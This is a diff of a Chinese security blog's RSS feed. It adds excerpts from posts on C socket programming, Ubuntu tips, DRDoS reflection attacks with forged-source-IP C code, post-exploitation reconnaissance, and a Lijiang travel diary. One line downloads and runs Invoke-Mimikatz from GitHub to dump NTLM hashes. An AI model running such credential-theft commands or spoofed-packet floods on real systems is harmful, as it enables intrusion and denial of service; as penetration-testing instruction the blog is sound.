style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>PS C:\Users\administrator\Documents<span style="color:#f92672">&gt;</span>IEX(New<span style="color:#f92672">-</span><span style="color:#a6e22e">Object</span> Net<span style="color:#f92672">.</span>WebClient)<span style="color:#f92672">.</span>DownloadString(<span style="color:#e6db74">&#39;https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1&#39;</span>) +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>PS C:\Users\administrator\Documents<span style="color:#f92672">&gt;</span>Invoke<span style="color:#f92672">-</span>Mimikatz +</span></span></code></pre></td></tr></table> +</div> +</div><p>获取NTLM Hash</p>浅谈使用C语言开发服务端漏洞扫描设计https://payloads.online/archivers/2018-03-20/1/Tue, 20 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-20/1/<h2 id="0x00-前言">0x00 前言</h2> <p>都是自己闷头搞出来的经验,对于自己是经验,对大家就不知道合不合口味了。</p> <p>本文可能过多的穿插以下知识点:</p> <ul> @@ -3197,7 +6305,43 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>那么我们来看看它到底是什么?</p> <h3 id="套接字的地址结构">套接字的地址结构</h3> <p>刚才百科告诉我们,套接字用(IP地址:端口号)表示。</p> -<p>那么在网络编程中如何告诉计算机,什么是端口,什么是端口号呢?</p>渗透测试中使用Ubuntu的一些小技巧https://payloads.online/archivers/2018-03-18/1/Sun, 18 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-18/1/<h2 id="0x00-前言">0x00 前言</h2> +<p>那么在网络编程中如何告诉计算机,什么是端口,什么是端口号呢?</p> +<p>于是出现了被计算机界公认的结构体,这个结构体保存在系统的标准库中:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;arpa/inet.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">struct</span> sockaddr_in +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">__SOCKADDR_COMMON</span> (sin_); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">in_port_t</span> sin_port; <span style="color:#75715e">/* Port number. */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> in_addr sin_addr; <span style="color:#75715e">/* Internet address. */</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* Pad to size of `struct sockaddr&#39;. */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> sin_zero[<span style="color:#66d9ef">sizeof</span> (<span style="color:#66d9ef">struct</span> sockaddr) <span style="color:#f92672">-</span> +</span></span><span style="display:flex;"><span> __SOCKADDR_COMMON_SIZE <span style="color:#f92672">-</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">sizeof</span> (<span style="color:#66d9ef">in_port_t</span>) <span style="color:#f92672">-</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">sizeof</span> (<span style="color:#66d9ef">struct</span> in_addr)]; +</span></span><span style="display:flex;"><span> }; +</span></span></code></pre></td></tr></table> +</div> +</div><p>看起来还是比较复杂的,但是用起来一点都不复杂。</p>渗透测试中使用Ubuntu的一些小技巧https://payloads.online/archivers/2018-03-18/1/Sun, 18 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-18/1/<h2 id="0x00-前言">0x00 前言</h2> <p>由于学习C、C++我喜欢在Linux平台,首选了Ubuntu这个发新版,目前已经做得很不错了,但是平常使用的时候会发现一些比较麻烦的事情。</p> <p>本文就把一些技巧分享、记录下来。</p> <p>操作系统版本:Ubuntu 17.10</p> @@ -3224,7 +6368,10 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span></span><span style="display:flex;"><span>deb http://security.ubuntu.com/ubuntu artful-security main restricted </span></span><span style="display:flex;"><span>deb http://security.ubuntu.com/ubuntu artful-security universe </span></span><span style="display:flex;"><span>deb http://security.ubuntu.com/ubuntu artful-security multiverse -</span></span></code></pr华为RIP协议https://payloads.online/archivers/2015-11-20/2/Fri, 16 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2015-11-20/2/<p>本文记录一下华为RIP协议的简单配置</p>使用C语言发送伪造源IP的UDP请求及DRDOS拒绝服务攻击原理剖析https://payloads.online/archivers/2018-03-04/1/Sun, 04 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-04/1/<h2 id="0x01-什么是drdos">0x01 什么是DRDOS</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x01-右键">0x01 右键</h2> +<p><code>nautilus-actions</code> 是一个提供用户自定义鼠标右键菜单的软件。</p>华为RIP协议https://payloads.online/archivers/2015-11-20/2/Fri, 16 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2015-11-20/2/<p>本文记录一下华为RIP协议的简单配置</p>使用C语言发送伪造源IP的UDP请求及DRDOS拒绝服务攻击原理剖析https://payloads.online/archivers/2018-03-04/1/Sun, 04 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-04/1/<h2 id="0x01-什么是drdos">0x01 什么是DRDOS</h2> <p>DRDoS是英文“Distributed Reflection Denial of Service ”的缩写,中文意思是“分布式反射拒绝服务”。与DoS、DDoS不同,该方式靠的是发送大量带有被害者IP地址的数据包给攻击主机,然后攻击主机对IP地址源做出大量回应,形成拒绝服务攻击。</p> <h2 id="0x02-drdos的攻击流程">0x02 DRDOS的攻击流程</h2> <p>DRDoS要完成一次反射放大攻击:</p> @@ -3247,7 +6394,74 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>假设有三个用户,Allen、Jerry、Tom.</p> </blockquote> <h3 id="jerry与tom一次正常的udp请求">Jerry与Tom一次正常的UDP请求</h3> -<p><code>Jerry说:</code>“我是Jerry,我的源端口是4787,我要向Tom的4478端口发送一个UDP报文”</p>针对某跨国企业的一次渗透测试-持续https://payloads.online/archivers/2018-01-30/1/Tue, 30 Jan 2018 00:00:00 +0000https://payloads.online/archivers/2018-01-30/1/<p>文章涉及泄漏厂商隐私,已经删除!</p>我的丽江之旅https://payloads.online/archivers/2018-01-22/1/Mon, 22 Jan 2018 00:00:00 +0000https://payloads.online/archivers/2018-01-22/1/<h2 id="出发">出发</h2> +<p><code>Jerry说:</code>“我是Jerry,我的源端口是4787,我要向Tom的4478端口发送一个UDP报文”</p> +<p>此时Tom的4478端口接收到一个UDP报文,需要回复内容,回复给谁呢,接下来需要根据报文中的IP头确定是谁发送的</p> +<p>通过Jerry的话确定发送方是Jerry,而Jerry的端口是4787,那么Tom就会将数据传送给Jerry</p> +<p><code>Tom说:</code>“我是Tom,我的源端口是4478,根据刚才接收到的一句话中,确认了发送人是Jerry,我把数据传送给Jerry的4787端口”</p> +<h3 id="allen进行一次rdos攻击">Allen进行一次RDOS攻击</h3> +<p><code>Allen说:</code>“我是Jerry,我的源端口是4787,我要向Tom的4478端口发送一个UDP报文”</p> +<p>此时Tom接收到报文,根据上面这句话确定了发送人是Jerry,目的端口是4787</p> +<p><code>Tom说:</code>“我是Tom,我的源端口是4478,根据刚才接收到的一句话中,确认了发送人是Jerry,我把数据传送给Jerry的4787端口”</p> +<p>这个过程当中,Jerry并没有参与通信,但是接到了一个从Tom那里发送过来的UDP数据报文</p> +<h2 id="0x04-编写一个伪造ip头的c语言程序">0x04 编写一个伪造IP头的C语言程序</h2> +<blockquote> +<p>/usr/include/netinet/ip.h</p> +</blockquote> +<p>这里面定义了IP头</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">ip</span> +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span><span style="color:#75715e">#if __BYTE_ORDER == __LITTLE_ENDIAN +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> ip_hl:<span style="color:#ae81ff">4</span>; <span style="color:#75715e">/* header length */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> ip_v:<span style="color:#ae81ff">4</span>; <span style="color:#75715e">/* version */</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#if __BYTE_ORDER == __BIG_ENDIAN +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> ip_v:<span style="color:#ae81ff">4</span>; <span style="color:#75715e">/* version */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> ip_hl:<span style="color:#ae81ff">4</span>; <span style="color:#75715e">/* header length */</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">uint8_t</span> ip_tos; <span style="color:#75715e">/* type of service */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ip_len; <span style="color:#75715e">/* total length */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ip_id; <span style="color:#75715e">/* identification */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ip_off; <span style="color:#75715e">/* fragment offset field */</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_RF 0x8000 </span><span style="color:#75715e">/* reserved fragment flag */</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_DF 0x4000 </span><span style="color:#75715e">/* dont fragment flag */</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_MF 0x2000 </span><span style="color:#75715e">/* more fragments flag */</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_OFFMASK 0x1fff </span><span style="color:#75715e">/* mask for fragmenting bits */</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">uint8_t</span> ip_ttl; <span style="color:#75715e">/* time to live */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">uint8_t</span> ip_p; <span style="color:#75715e">/* protocol */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ip_sum; <span style="color:#75715e">/* checksum */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">in_addr</span> ip_src, ip_dst; <span style="color:#75715e">/* source and dest address */</span> +</span></span><span style="display:flex;"><span> }; +</span></span></code></pre></td></tr></table> +</div> +</div><blockquote> +<p>/usr/include/netinet/udp.h</p>针对某跨国企业的一次渗透测试-持续https://payloads.online/archivers/2018-01-30/1/Tue, 30 Jan 2018 00:00:00 +0000https://payloads.online/archivers/2018-01-30/1/<p>文章涉及泄漏厂商隐私,已经删除!</p>我的丽江之旅https://payloads.online/archivers/2018-01-22/1/Mon, 22 Jan 2018 00:00:00 +0000https://payloads.online/archivers/2018-01-22/1/<h2 id="出发">出发</h2> <p> <img src="https://images.payloads.online/f404b60a-4f5e-11ec-a3a5-00d861bf4abb.jpg" alt="杭州"> @@ -3282,7 +6496,160 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p> <img src="https://images.payloads.online/f86feb1a-4f5e-11ec-ba81-00d861bf4abb.jpg" alt="我的早饭"> -</p>针对国内一大厂的后渗透 - 持续https://payloads.online/archivers/2017-12-28/1/Thu, 28 Dec 2017 00:00:00 +0000https://payloads.online/archivers/2017-12-28/1/<h2 id="0x00-前言">0x00 前言</h2> +</p> +<p>起来的比较晚哈哈,当然没啥好吃的了,就只能喝点粥和牛奶……</p> +<h2 id="古城你好">古城,你好</h2> +<p>走在人少的古城小道,别具诗意,哈哈</p> +<p> + <img src="https://images.payloads.online/f4de9b54-4f5e-11ec-ad35-00d861bf4abb.jpg" alt="古城小道"> + +</p> +<p>还有随处可见的其他客栈,基本上都会在门口立着一个牌子 —— “今日有房”</p> +<p> + <img src="https://images.payloads.online/f55b9596-4f5e-11ec-8eba-00d861bf4abb.jpg" alt="大花猫"> + +</p> +<p>如果这家客栈是在城市之中,恐怕路过的人都会拍几张,但是在丽江,这太普通了!</p> +<p> + <img src="https://images.payloads.online/f5b6ec66-4f5e-11ec-a244-00d861bf4abb.jpg" alt="少数民族"> + +</p> +<p>热情的少数民族,一对情侣,这里的人们对于爱情可是有着别样的看法,若两个人不能在一起、或者是结婚,那就选择殉情,去“玉龙第三国”,就在玉龙雪山脚下,我稍后会介绍</p> +<p> + <img src="https://images.payloads.online/f8da85ec-4f5e-11ec-8f49-00d861bf4abb.jpg" alt="古城大道"> + + + + <img src="https://images.payloads.online/f9d347ae-4f5e-11ec-ade8-00d861bf4abb.jpg" alt="古城小道"> + +</p> +<p> + <img src="https://images.payloads.online/fb627c98-4f5e-11ec-8aba-00d861bf4abb.jpg" alt="古城小道"> + +</p> +<p>这里万里无云,墙壁上雕刻着这些民族独有的象形文字。</p> +<p> + <img src="https://images.payloads.online/fa4ac2a2-4f5e-11ec-9d7f-00d861bf4abb.jpg" alt="美食街"> + +</p> +<p>古城的美食街,我在这里吃了一碗米线,不如前面小店里的…… 可能是他们做惯了快餐 = =</p> +<p> + <img src="https://images.payloads.online/fc16a736-4f5e-11ec-8311-00d861bf4abb.jpg" alt="美食街"> + +</p> +<p>密室逃脱都有,这里的商业发展很完善,支持微信、支付宝付款</p> +<h2 id="美食">美食</h2> +<p> + <img src="https://images.payloads.online/f660c39e-4f5e-11ec-8a3d-00d861bf4abb.jpg" alt="土鸡米线"> + +</p> +<p>到了下午,饥饿感袭来,赶紧去寻找云南特色美食,米线当然是少不了的了。</p> +<p>我们选了一家比较大的米线店,虽然这种店随处可见,但是隐隐感觉这的味道绝对不差。</p> +<h2 id="古城的夜晚狂欢">古城的夜晚狂欢</h2> +<p>吃完饭就回去躺了一会,比较累就没有去逛</p> +<p> + <img src="https://images.payloads.online/f6e2ef4a-4f5e-11ec-9af8-00d861bf4abb.jpg" alt="古城的晚上"> + +</p> +<p> + <img src="https://images.payloads.online/f75a8f6e-4f5e-11ec-8530-00d861bf4abb.jpg" alt="古城的晚上"> + +</p> +<p>到了晚上,开始狂欢! 公司组织了一个小活动,去酒吧喝酒 —— “水泊梁山”</p> +<p>晚上人比较多,开着导航都容易走错,小道大道错综复杂。</p> +<p> + <img src="https://images.payloads.online/faccde18-4f5e-11ec-a0de-00d861bf4abb.jpg" alt="水泊梁山"> + +</p> +<p> + <img src="https://images.payloads.online/fb1a42f2-4f5e-11ec-9229-00d861bf4abb.jpg" alt="水泊梁山"> + +</p> +<p>在这里有一种“午夜销魂酒”,我喝了不少,还有“飞花雪月”~~ 手中拿着酒壶,就像是古代里的侠客 ~ 哈哈</p> +<p>最后的最后我还是喝多了,回到客栈就吐了 2333 然后躺倒,一觉睡到第二天早上</p> +<h2 id="最美老板娘">最美老板娘</h2> +<p>第一晚跟着同事去看了这个抖音网红</p> +<p> + <img src="https://images.payloads.online/fbcd3420-4f5e-11ec-8a82-00d861bf4abb.jpg" alt="最美老板娘"> + +</p> +<p>她是卖民鼓的,演奏的很好听~</p> +<h2 id="登上玉龙雪山的前奏">登上玉龙雪山的前奏</h2> +<p>玉龙雪山为云南省丽江市境内雪山群,地处东经100°4′2″~100°16′30″、北纬27°3′2″~27°18′57″之间,在丽江北面约15千米处,全长75千米,是北半球最近赤道终年积雪的山脉,隔江西与中甸雪山、东与绵绵山相并列,北自三江口,向南延伸到北纬27°,如扇面向古城展开。全山的13座山峰由南向北纵向排列,主峰扇子陡最高处海拔5596米,终年积雪,发育有亚欧大陆距离赤道最近的温带海洋性冰川。</p> +<p>早上很早就起来了,因为索道需要排队,我们排到了中午,天气很好。</p> +<p> + <img src="https://images.payloads.online/fc5e09be-4f5e-11ec-b0e6-00d861bf4abb.jpg" alt="坐车去玉龙雪山脚下"> + +</p> +<p>坐车去玉龙雪山脚下。</p> +<p> + <img src="https://images.payloads.online/fcbe89e2-4f5e-11ec-bd8d-00d861bf4abb.jpg" alt="购买氧气罐"> + +</p> +<p>由于玉龙雪山海拔比较高,高到穿透了云层,登山的时候氧气稀薄,必须购买一个氧气罐,补充氧气,一罐大概60元。</p> +<p>PS:购买氧气罐必须要去专业的供氧中心,以防买到“压缩空气”</p> +<p> + <img src="https://images.payloads.online/fd326c5e-4f5e-11ec-aa52-00d861bf4abb.jpg" alt="供氧中心"> + +</p> +<p>到达玉龙雪山脚下</p> +<p> + <img src="https://images.payloads.online/fd93daa2-4f5e-11ec-a44d-00d861bf4abb.jpg" alt="到达雪山脚下"> + +</p> +<p>云雾缭绕的上面就是玉龙雪山、路上导游也介绍了玉龙雪山相关的景色以及乘坐索道的注意事项,还有玉龙雪山的特色(国家保护动物、植物、药材)</p> +<p> + <img src="https://images.payloads.online/fde9efc8-4f5e-11ec-9bad-00d861bf4abb.jpg" alt="安检"> + +</p> +<p>进入玉龙雪山需要乘坐一段时间大巴车,到达乘坐索道的地点,首先需要安检、刷身份证来验票,整个旅游的景点都是只需要刷身份证就可以了,非常方便。</p> +<p> + <img src="https://images.payloads.online/fe4af73c-4f5e-11ec-a062-00d861bf4abb.jpg" alt="下车"> + +</p> +<p>下车后看到路边有一些积雪、气温开始下降,大家去的话一定要带厚衣服。</p> +<p> + <img src="https://images.payloads.online/feb3a386-4f5e-11ec-b777-00d861bf4abb.jpg" alt="索道"> + +</p> +<p>开始排队、进行索道安检,期间看到索道上的缆车通过钢缆送上云端,不经感叹人类的智慧力量,那可是5000多米的海拔,通过电力就可以把人送上去。</p> +<p> + <img src="https://images.payloads.online/ff1451c2-4f5e-11ec-a591-00d861bf4abb.jpg" alt="海拔说明"> + +</p> +<p>在过了安检后,我路过了一个展览牌,里面标识了每一个海拔点。</p> +<p>通过缆车将人送到4506米的海拔高度,然后再通过楼梯,爬上4680的海拔高度。我一开始是想登上5596米的,但是只能上到4680&hellip;. +后面你会看到我的狼狈、怎么说也是年轻的小伙,爬一百多米就不行了。</p> +<p> + <img src="https://images.payloads.online/ff7b1646-4f5e-11ec-bb2a-00d861bf4abb.jpg" alt="缆车启动"> + +</p> +<p>缆车开始驶离起点,直冲云霄~</p> +<p> + <img src="https://images.payloads.online/ffe55998-4f5e-11ec-972e-00d861bf4abb.jpg" alt="缆车上的景色"> + +</p> +<p>在缆车上可以看到山上的植被,好像大多是松树,还有常年不化的积雪。</p> +<p> + <img src="https://images.payloads.online/018445b6-4f5f-11ec-a2c8-00d861bf4abb.jpg" alt="开始冲破云层"> + + + + <img src="https://images.payloads.online/005a2c82-4f5f-11ec-b895-00d861bf4abb.jpg" alt="开始冲破云层"> + +</p> +<p>开始冲破云层</p> +<h2 id="天上的景色">天上的景色</h2> +<p> + <img src="https://images.payloads.online/00b6f160-4f5f-11ec-95b4-00d861bf4abb.jpg" alt="天上的景色"> + +</p> +<p> + <img src="https://images.payloads.online/011ecc9a-4f5f-11ec-82ea-00d861bf4abb.jpg" alt="天上的景色"> + +</p> +<h2 id="着陆后">着陆后</h2> +<p>下了缆车,看到许多人,然后我的嘴唇开始泛白、头有点晕,感觉开始吸氧,向楼梯走去,绝对不能倒在起点啊 哈哈</p>针对国内一大厂的后渗透 - 持续https://payloads.online/archivers/2017-12-28/1/Thu, 28 Dec 2017 00:00:00 +0000https://payloads.online/archivers/2017-12-28/1/<h2 id="0x00-前言">0x00 前言</h2> <p>此文将全部脱敏,涉及某大厂商,中间会穿插一些小的知识点与细节。</p> <h2 id="0x01-信息搜集---后渗透">0x01 信息搜集 - 后渗透</h2> <p>首先我们后渗透阶段的开始表现在 拥有一个Webshell或者通过其他漏洞获取了某些操作服务器文件的权限,亦或者能够直接反弹Shell</p> @@ -3313,7 +6680,28 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 -</span></code></prCVE-2017-11882钓鱼攻击https://payloads.online/archivers/2017-11-22/1/Wed, 22 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-22/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>D:\WWW\***\master\&gt; net user /domain +</span></span><span style="display:flex;"><span>这项请求将在域 WORKGROUP 的域控制器处理。 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>发生系统错误 1355。 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>指定的域不存在,或无法联系。 +</span></span></code></pre></td></tr></table> +</div> +</div><p>通过上面的结果可以看到该服务器并不是域成员</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>D:\WWW\***\master\&gt; query user +</span></span><span style="display:flex;"><span>* 没有用户 +</span></span></code></pre></td></tr></table> +</div> +</div><p>没有管理员在线</p>CVE-2017-11882钓鱼攻击https://payloads.online/archivers/2017-11-22/1/Wed, 22 Nov 2017 00:00:00 